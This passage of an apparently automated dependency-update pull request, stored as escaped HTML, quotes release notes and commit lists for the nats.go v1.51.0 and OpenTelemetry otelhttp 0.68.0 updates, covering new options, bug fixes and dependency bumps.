notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp` from 0.61.0 to 0.68.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/releases\"\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.43.0/v2.5.0/v0.68.0/v0.37.0/v0.23.0/v0.18.0/v0.16.0/v0.15.0\u003c/h2\u003e\n\u003ch2\u003eAdded\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eResource\u003c/code\u003e method to \u003ccode\u003eSDK\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/v0.3.0\u003c/code\u003e to expose the resolved SDK resource from declarative configuration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8660\"\u003e#8660\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support to set the configuration file via \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eservice\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8674\"\u003e#8674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in tracer provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8687\"\u003e#8687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in logger provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8686\"\u003e#8686\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eOTEL_SEMCONV_STABILITY_OPT_IN\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. Supported values are \u003ccode\u003erpc\u003c/code\u003e (default), \u003ccode\u003erpc/dup\u003c/code\u003e and \u003ccode\u003erpc/old\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8726\"\u003e#8726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd the \u003ccode\u003ehttp.route\u003c/code\u003e metric attribute to \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8632\"\u003e#8632\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanged\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePrepend \u003ccode\u003e_\u003c/code\u003e to the normalized environment variable name when the key starts with a digit in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, ensuring POSIX compliance. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8678\"\u003e#8678\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMove experimental types from \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e to \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/x\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize cached environment variable names in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, aligning \u003ccode\u003eCarrier.Keys\u003c/code\u003e output with the carrier's normalized key format. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFixed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e Prometheus reader converting OTel dot-style label names (e.g. \u003ccode\u003eservice.name\u003c/code\u003e) to underscore-style (\u003ccode\u003eservice_name\u003c/code\u003e) in \u003ccode\u003etarget_info\u003c/code\u003e when both \u003ccode\u003ewithout_type_suffix\u003c/code\u003e and \u003ccode\u003ewithout_units\u003c/code\u003e are set. Use \u003ccode\u003eNoTranslation\u003c/code\u003e instead of \u003ccode\u003eUnderscoreEscapingWithoutSuffixes\u003c/code\u003e to preserve dot-style label names while still suppressing metric name suffixes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLimit the request body size at 1MB in \u003ccode\u003ego.opentelemetry.io/contrib/zpages\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8656\"\u003e#8656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix server spans using the client's address and port for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRemoved\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eHost ID resource detector has been removed when configuring the \u003ccode\u003ehost\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8581\"\u003e#8581\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDeprecated\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eOTEL_EXPERIMENTAL_CONFIG_FILE\u003c/code\u003e in favour of \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update module github.com/jgautheron/goconst to v1.9.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8651\"\u003eopen-telemetry/opentelemetry-go-contrib#8651\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module go.yaml.in/yaml/v2 to v2.4.4 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8652\"\u003eopen-telemetry/opentelemetry-go-contrib#8652\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update golang.org/x/telemetry digest to e526e8a by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8647\"\u003eopen-telemetry/opentelemetry-go-contrib#8647\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module k8s.io/klog/v2 to v2.140.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8650\"\u003eopen-telemetry/opentelemetry-go-contrib#8650\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mgechev/revive to v1.14.0 by \u003ca href=\"https://github.com/mmorel-35\"\u003e\u003ccode\u003e@​mmorel-35\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8646\"\u003eopen-telemetry/opentelemetry-go-contrib#8646\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mgechev/revive to v1.15.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8539\"\u003eopen-telemetry/opentelemetry-go-contrib#8539\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix noctx issues by \u003ca href=\"https://github.com/mmorel-35\"\u003e\u003ccode\u003e@​mmorel-35\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8645\"\u003eopen-telemetry/opentelemetry-go-contrib#8645\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update golang.org/x by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8655\"\u003eopen-telemetry/opentelemetry-go-contrib#8655\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module codeberg.org/chavacava/garif to v0.2.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8654\"\u003eopen-telemetry/opentelemetry-go-contrib#8654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/mattn/go-runewidth to v0.0.21 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8653\"\u003eopen-telemetry/opentelemetry-go-contrib#8653\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module go.opentelemetry.io/proto/otlp to v1.10.0 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8657\"\u003eopen-telemetry/opentelemetry-go-contrib#8657\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eLimit the number of bytes read from the zpages body by \u003ca href=\"https://github.com/dmathieu\"\u003e\u003ccode\u003e@​dmathieu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8656\"\u003eopen-telemetry/opentelemetry-go-contrib#8656\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module github.com/golangci/golangci-lint/v2 to v2.11.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8648\"\u003eopen-telemetry/opentelemetry-go-contrib#8648\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update module github.com/golangci/golangci-lint/v2 to v2.11.3 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8661\"\u003eopen-telemetry/opentelemetry-go-contrib#8661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update github.com/securego/gosec/v2 digest to 8895462 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8663\"\u003eopen-telemetry/opentelemetry-go-contrib#8663\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eotelconf: support OTEL_CONFIG_FILE as it is no longer experimental by \u003ca href=\"https://github.com/codeboten\"\u003e\u003ccode\u003e@​codeboten\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8639\"\u003eopen-telemetry/opentelemetry-go-contrib#8639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update module github.com/sonatard/noctx to v0.5.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/pull/8664\"\u003eopen-telemetry/opentelemetry-go-contrib#8664\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-go-contrib/blob/main/CHANGELOG.md\"\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[1.43.0/2.5.0/0.68.0/0.37.0/0.23.0/0.18.0/0.16.0/0.15.0] - 2026-04-03\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eResource\u003c/code\u003e method to \u003ccode\u003eSDK\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/v0.3.0\u003c/code\u003e to expose the resolved SDK resource from declarative configuration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8660\"\u003e#8660\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support to set the configuration file via \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eservice\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8674\"\u003e#8674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in tracer provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8687\"\u003e#8687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eattribute_count_limit\u003c/code\u003e and \u003ccode\u003eattribute_value_length_limit\u003c/code\u003e in logger provider configuration in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8686\"\u003e#8686\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003eOTEL_SEMCONV_STABILITY_OPT_IN\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. Supported values are \u003ccode\u003erpc\u003c/code\u003e (default), \u003ccode\u003erpc/dup\u003c/code\u003e and \u003ccode\u003erpc/old\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8726\"\u003e#8726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd the \u003ccode\u003ehttp.route\u003c/code\u003e metric attribute to \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/net/http/otelhttp\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8632\"\u003e#8632\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrepend \u003ccode\u003e_\u003c/code\u003e to the normalized environment variable name when the key starts with a digit in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, ensuring POSIX compliance. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8678\"\u003e#8678\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMove experimental types from \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e to \u003ccode\u003ego.opentelemetry.io/contrib/otelconf/x\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8529\"\u003e#8529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize cached environment variable names in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e, aligning \u003ccode\u003eCarrier.Keys\u003c/code\u003e output with the carrier's normalized key format. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8761\"\u003e#8761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e Prometheus reader converting OTel dot-style label names (e.g. \u003ccode\u003eservice.name\u003c/code\u003e) to underscore-style (\u003ccode\u003eservice_name\u003c/code\u003e) in \u003ccode\u003etarget_info\u003c/code\u003e when both \u003ccode\u003ewithout_type_suffix\u003c/code\u003e and \u003ccode\u003ewithout_units\u003c/code\u003e are set. Use \u003ccode\u003eNoTranslation\u003c/code\u003e instead of \u003ccode\u003eUnderscoreEscapingWithoutSuffixes\u003c/code\u003e to preserve dot-style label names while still suppressing metric name suffixes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8763\"\u003e#8763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLimit the request body size at 1MB in \u003ccode\u003ego.opentelemetry.io/contrib/zpages\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8656\"\u003e#8656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix server spans using the client's address and port for \u003ccode\u003eserver.address\u003c/code\u003e and \u003ccode\u003eserver.port\u003c/code\u003e attributes in \u003ccode\u003ego.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8723\"\u003e#8723\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eHost ID resource detector has been removed when configuring the \u003ccode\u003ehost\u003c/code\u003e resource detector in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8581\"\u003e#8581\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eOTEL_EXPERIMENTAL_CONFIG_FILE\u003c/code\u003e in favour of \u003ccode\u003eOTEL_CONFIG_FILE\u003c/code\u003e in \u003ccode\u003ego.opentelemetry.io/contrib/otelconf\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-go-contrib/issues/8639\"\u003e#8639\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.42.0/2.4.0/0.67.0/0.36.0/0.22.0/0.17.0/0.15.0/0.14.0] - 2026-03-06\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd environment variables propagation carrier in \u003ccode\u003ego.opentelemetry.io/contrib/propagators/envcar\u003c/code\u003e. (\u003ca 